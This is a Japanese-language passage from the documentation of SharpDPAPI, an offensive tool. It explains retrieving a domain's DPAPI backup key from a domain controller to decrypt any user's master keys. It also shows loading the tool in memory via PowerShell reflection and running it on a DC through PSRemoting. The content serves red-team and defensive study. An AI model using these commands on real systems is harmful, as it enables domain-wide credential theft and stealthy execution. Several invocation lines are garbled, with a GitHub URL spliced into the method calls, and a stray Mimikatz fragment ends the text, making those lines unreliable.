backupkey コマンドは、LsaRetrievePrivateData API アプローチ(Mimikatz より)を使用して、ドメインコントローラーからドメイン DPAPI バックアップキーを取得します。この秘密キーを使用して、ドメイン内の任意のユーザーのマスターキーブロブを復号化できます。さらに良いことに、キーは決して変わりません;)
リモートのドメインコントローラーからキーを取得するには、ドメイン管理者(または同等の)権限が必要です。
/nowrap フラグは、表示時に base64 キーが折り返されないようにします。
この base64 キーブロブはバイナリ .pvk ファイルにデコードでき、その後 Mimikatz の dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk モジュールで使用したり、masterkeys、credentials、または vault SharpDPAPI コマンドでブロブ/ファイル /pvk:X 形式で使用したりできます。
デフォルトでは、SharpDPAPI は DsGetDcName API 呼び出しを使用して現在のドメインコントローラーを特定しようとします。サーバーは /server:COMPUTER.domain.com で指定できます。出力として base64 ブロブを表示する代わりにキーをディスクに保存したい場合は、/file:key.pvk を使用します。
SharpDPAPI のバイナリをリリースする予定はありませんので、自分でコンパイルする必要があります :)
SharpDPAPI は .NET 3.5 に対してビルドされており、Visual Studio 2019 Community Edition と互換性があります。プロジェクトの .sln を開き、"Release" を選択してビルドするだけです。
SharpDPAPI のデフォルトのビルド構成は .NET 3.5 用であり、そのバージョンがインストールされていないシステムではビルドに失敗します。SharpDPAPI を .NET 4 または 4.5 向けにターゲットするには、.sln ソリューションを開き、プロジェクト -> SharpDPAPI のプロパティ に移動し、"ターゲット フレームワーク" を別のバージョンに変更します。
PowerShell ラッパーを使用して SharpDPAPI をメモリ内で実行する場合は、まず SharpDPAPI をコンパイルし、結果のアセンブリを base64 エンコードします。
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt
その後、SharpDPAPI は次のように PowerShell スクリプトにロードできます("aa..." は base64 エンコードされた SharpDPAPI アセンブリ文字列に置き換えます)。
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
Main() メソッドと任意の引数は、次のように呼び出すことができます。
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:Main(%22machinemasterkeys%22)
PSRemoting が出力を処理する方法のため、stdout を文字列にリダイレクトして返す必要があります。幸い、SharpDPAPI にはそれを支援する関数があります。
補足:PowerShell 経由で SharpDPAPI を実行する の手順に従って SharpDPAPI.ps1 を作成した場合、スクリプトに次のようなものを追加します。
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:MainString(%22machinemasterkeys%22)
その後、次のように PSRemoting 経由で SharpDPAPI を実行できるはずです。
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1
または、SharpDPAPI の /consoleoutfile:C:\FILE.txt 引数を使用すると、すべての出力ストリームを指定されたファイルにリダイレクトします。
sekurlsa::dpapi